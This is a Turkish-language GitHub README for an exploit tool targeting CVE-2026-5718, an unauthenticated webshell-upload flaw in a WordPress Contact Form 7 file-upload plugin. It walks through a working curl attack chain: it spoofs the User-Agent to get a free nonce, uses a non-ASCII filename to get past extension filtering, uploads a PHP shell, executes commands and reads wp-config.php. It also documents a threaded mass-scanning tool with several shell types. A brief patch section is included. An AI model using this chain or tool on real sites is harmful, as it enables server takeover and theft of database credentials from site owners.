xxconi/CVE-2026-5718
GitHub: xxconi/CVE-2026-5718
Stars: 0 | Forks: 0
# CVE-2026-5718
CVE-2026-5718: Unauthenticated File Upload To RCE in DnD Upload CF7 Plugin
# CVE-2026-5718 — DnD CF7 File Upload RCE Scanner
## 📌 Zafiyet Hakkında
Drag and Drop Multiple File Upload for Contact Form 7 eklentisinde
**iki bağımsız mantık hatası** birleşerek kimliği doğrulanmamış
saldırganların PHP webshell yüklemesine olanak tanır.
1. **Blacklist Yıkımı:** Özel blacklist yapılandırması varsayılan
tehlikeli uzantı listesini **birleştirmek yerine tamamen değiştirir.**
`php` artık engellenmez.
2. **Non-ASCII Bypass:** Dosya adında non-ASCII karakter bulunması
`wpcf7_antiscript_file_name()` fonksiyonunun çağrılmasını engeller.
`.php` uzantısı korunur ve dosya diske yazılır.
## 🔍 Zafiyet Özeti
| Alan | Değer |
|---|---|
| **Plugin Adı** | Drag and Drop Multiple File Upload for CF7 |
| **CVE ID** | CVE-2026-5718 |
| **CVSS Skoru** | 8.1 (High) |
| **Zafiyet Türü** | Unauthenticated Arbitrary File Upload |
| **Etkilenen Sürüm** | <= 1.3.9.6 |
| **Yamalı Sürüm** | 1.3.9.7 |
| **Ön Koşul** | CF7 formunda `blacklist-types` özel yapılandırması |
## ⚙️ Teknik Analiz
### Zafiyet 1 — Nonce Herkese Açık (line 62)
// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
// Tek koruma: User-Agent'ta 'curl' kontrolü — kolayca atlatılır
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
wp_send_json_error('Request blocked: cURL access is forbidden.');
}
if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
// Geçersiz nonce → YENİ NONCE DÖNDÜRÜR
wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
}
}
`wp_ajax_nopriv__wpcf7_check_nonce` action'ı herkese açıktır.
Geçersiz nonce gönderildiğinde **yeni nonce ücretsiz verilir.**
Mozilla UA ile curl kontrolü atlatılır.
### Zafiyet 2 — Blacklist Birleştirme Yerine Değiştirme (line 883)
// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 tehlikeli uzantı: php, php3, php4, pht, phtml, phar...
if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// ↑ ASSIGNMENT (=) — MERGE DEĞİL
// Özel liste: sadece ['zip']
// 'php' artık listede YOK → kabul edilir
}
Tetikleyen form tag yapılandırması:
[mfile upload-file filetypes="*" blacklist-types:zip]
Admin ZIP'i engellemek ister → eklenti tüm varsayılan denylist'i siler.
`php` dahil tüm tehlikeli uzantılar artık kabul edilir.
Ayrıca `filetypes="*"` için hardcoded liste de eksik:
// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' EKSİK
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
### Zafiyet 3 — Non-ASCII Bypass (line 970)
// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
// Sadece pure-ASCII dosya adları için çağrılır
$filename = wpcf7_antiscript_file_name( $ascii_name );
// ↑ shell.php → shell.php.txt yapardı — ama atlanıyor
}
// Non-ASCII karakter varsa bu blok ATLANIR
// $filename = "shellシ.php" → .php uzantısı korunur
// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
$string = sanitize_file_name( $string );
// ↑ Sadece lokal kopya değişir, dış $filename ETKİLENMEZ
if ( mb_check_encoding( $string, 'ASCII' ) ) {
return true;
}
return false; // Non-ASCII karakter → false → antiscript atlanır
}
## 🔴 Tam Saldırı Zinciri
┌─────────────────────────────────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce │
│ User-Agent: Mozilla/5.0 (curl değil) │
│ │ │
│ ▼ │
│ {"success":true,"data":"abc123def456"} │
│ → Nonce ücretsiz alındı │
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload │
│ security=abc123def456 │
│ upload-file=shellシ.php (Content-Type: application/x-php) │
│ │ │
│ ├── Nonce geçerli ✓ │
│ ├── blacklist=['zip'] → 'php' engellenmez ✓ │
│ ├── dnd_cf7_check_ascii("shellシ.php") = false │
│ ├── wpcf7_antiscript_file_name() ATLANIR ✓ │
│ └── move_uploaded_file("shellシ.php") → Diske yazıldı│
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ GET /wp-content/uploads/wp_dndcf7_uploads/ │
│ wpcf7-files//shell%E3%82%B7.php?cmd=id │
│ │ │
│ ▼ │
│ uid=33(www-data) gid=33(www-data) groups=33(www-data) │
│ → Unauthenticated RCE ✓ │
└─────────────────────────────────────────────────────────────┘
## 🧪 Proof of Concept (Manuel)
**Ön Koşullar:**
- Plugin kurulu ve aktif (sürüm <= 1.3.9.6)
- CF7 formu `[mfile]` alanı ile `blacklist-types` içermeli:
[mfile upload-file filetypes="*" blacklist-types:zip]
### Adım 1 — Nonce Al
TARGET="https://target.example.com"
NONCE=$(curl -s -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
--data "action=_wpcf7_check_nonce" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
echo "Nonce: $NONCE"
Beklenen yanıt:
{"success": true, "data": "abc123def456"}
### Adım 2 — Non-ASCII Dosya Adıyla Webshell Oluştur
# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '' > "/tmp/${SHELL_FILENAME}"
### Adım 3 — Shell Yükle
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
-F "action=dnd_codedropz_upload" \
-F "security=${NONCE}" \
-F "form_id=${FORM_ID}" \
-F "upload_name=${FIELD_NAME}" \
-F "upload_folder=${SESSION_FOLDER}" \
-F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
Beklenen yanıt:
{
"success": true,
"data": {
"path": "",
"file": "shellシ.php"
}
}
### Adım 4 — Shell URL Oluştur
UPLOAD_PATH=""
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"
### Adım 5 — RCE Tetikle
# id komutu
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# wp-config.php oku
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"
## 🛠️ Otomatik Tarayıcı
### Kurulum
git clone https://github.com/kullanici/cve-2026-5718-scanner
cd cve-2026-5718-scanner
pip install -r requirements.txt
**requirements.txt**
requests
## 🚀 Kullanım
### Tekil Hedef — Tam Otomatik
python dnd_cf7_upload.py -u http://hedef.com
### Form ID ve Field Adı Manuel
python dnd_cf7_upload.py -u http://hedef.com \
--form-id 1 --field-name upload-file
### Full Shell + Özel Komut
python dnd_cf7_upload.py -u http://hedef.com \
--shell-type full --verify-cmd "whoami"
### Toplu Tarama
python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt
### Proxy ile (Burp Suite)
python dnd_cf7_upload.py -u http://hedef.com \
--proxy http://127.0.0.1:8080
## ⚙️ Parametreler
| Parametre | Kısa | Açıklama | Varsayılan |
|---|---|---|---|
| `--url` | `-u` | Tekil hedef URL | — |
| `--list` | `-l` | Hedef listesi dosyası | — |
| `--threads` | `-t` | Thread sayısı | `10` |
| `--output` | `-o` | Çıktı dosyası | `rce_results.txt` |
| `--form-id` | — | CF7 form ID | otomatik tespit |
| `--field-name` | — | mfile field adı | `upload-file` |
| `--shell-name` | — | Shell dosya adı | `shell` |
| `--shell-type` | — | Shell tipi | `system` |
| `--verify-cmd` | — | RCE doğrulama komutu | `id` |
| `--proxy` | — | Proxy URL | — |
| `--timeout` | — | İstek timeout (sn) | `10` |
| `--force` | — | Plugin tespiti başarısız olsa devam et | `False` |
## 💀 Shell Tipleri
| Tip | Payload | Açıklama |
|---|---|---|
| `system` | `` | Temel sistem komutu |
| `passthru` | `` | Ham çıktı |
| `exec` | `` | Sessiz çalıştırma |
| `assert` | `` | POST ile eval |
| `b64` | `` | Base64 obfuscation |
| `full` | shell_exec + system + exec fallback | Tam kapsamlı |
## 🔤 Non-ASCII Karakter Seti
Tarayıcı aşağıdaki karakterleri sırayla dener:
| Karakter | Unicode | Açıklama |
|---|---|---|
| `シ` | U+30B7 | Katakana Si (PoC'de kullanılan) |
| `ж` | U+0436 | Kiril |
| `ñ` | U+00F1 | Latin Extended |
| `中` | U+4E2D | CJK |
| `α` | U+03B1 | Yunan |
| `ß` | U+00DF | Almanca |
## 📂 Shell Yükleme Konumu
WordPress Kök/
└── wp-content/
└── uploads/
└── wp_dndcf7_uploads/
└── wpcf7-files/
└── /
└── shellシ.php ← Shell burada
## 📊 Tarayıcı Çıktı Durumları
| Durum | Açıklama |
|---|---|
| `★ RCE OK` | Shell yüklendi + komut çalıştı |
| `★ SHELL ALIVE` | Shell erişilebilir, farklı yanıt |
| `~ EXEC_DISABLED` | Shell var, exec() kapalı |
| `~ HTACCESS` | Shell yüklendi ama .htaccess engeli |
| `? UPLOADED` | Yüklendi ama URL bulunamadı |
| `- UPL_FAIL` | Yükleme başarısız (yamalı/konfigürasyon yok) |
| `~ NO_NONCE` | Nonce alınamadı |
| `- NO_PLUGIN` | Eklenti kurulu değil |
| `~ UNREACH` | Hedefe ulaşılamıyor |
## 🖥️ Örnek Tarayıcı Çıktısı
[*] Hedef : http://hedef.com
[*] Form ID : otomatik tespit
[*] Shell Tipi : system
[*] Verify CMD : id
[→] http://hedef.com Adım 1/5: Nonce alınıyor...
[→] http://hedef.com Adım 2/5: CF7 form tespiti...
[→] http://hedef.com Adım 3/5: Shell yükleniyor (non-ASCII bypass)...
[→] http://hedef.com Adım 4/5: Shell URL oluşturuluyor...
[→] http://hedef.com Adım 5/5: RCE doğrulanıyor...
═════════════════════════════════════════════════════════════════
[★ RCE OK ] http://hedef.com
Sürüm : 1.3.9.6
Nonce : abc123def4 (kaynak: ajax_endpoint)
Non-ASCII : シ
Shell URL : http://hedef.com/wp-content/uploads/wp_dndcf7_uploads/
wpcf7-files/a1b2c3d4e5f6/shell%E3%82%B7.php
RCE Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)
═════════════════════════════════════════════════════════════════
[+] Kaydedildi → rce_results.txt
## 🛡️ Savunma / Yama
| Önlem | Uygulama |
|---|---|
| **Eklenti Güncellemesi** | 1.3.9.7+ sürümüne yükselt |
| **Blacklist Birleştirme** | `=` yerine `array_merge()` kullan |
| **Koşulsuz Antiscript** | `wpcf7_antiscript_file_name()` her zaman çağrılmalı |
| **Nonce Koruması** | Nonce endpoint'i public erişime kapatılmalı |
| **.htaccess** | Upload dizininde PHP çalıştırmayı engelle |
**Güvenli blacklist birleştirme:**
// Güvensiz (mevcut — 1.3.9.6)
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// Güvenli (önerilen — 1.3.9.7+)
$blacklist_types = array_merge(
dnd_cf7_not_allowed_ext(),
explode( '|', $blacklist["$cf7_upload_name"] )
);
**Koşulsuz antiscript:**
// Güvensiz (mevcut)
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
$filename = wpcf7_antiscript_file_name( $ascii_name );
}
// Güvenli (önerilen)
$filename = wpcf7_antiscript_file_name( $filename ); // her zaman çağır
**Upload dizini .htaccess:**
Deny from all
Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar
## 📁 Dosya Yapısı
cve-2026-5718-scanner/
├── dnd_cf7_upload.py # Ana tarayıcı
├── requirements.txt # Bağımlılıklar
└── README.md # Bu dosya
## ⚠️ Yasal Uyarı
## 📄 Lisans
MIT License — Yalnızca eğitim ve araştırma amaçlıdır.
## 🔗 Referanslar
- [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/)
- [Plugin WordPress Directory](https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/)
- [CVSS 3.1 Calculator](https://www.first.org/cvss/calculator/3.1)
- [CWE-434: Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)
- [Unicode Non-ASCII Characters](https://www.unicode.org/charts/)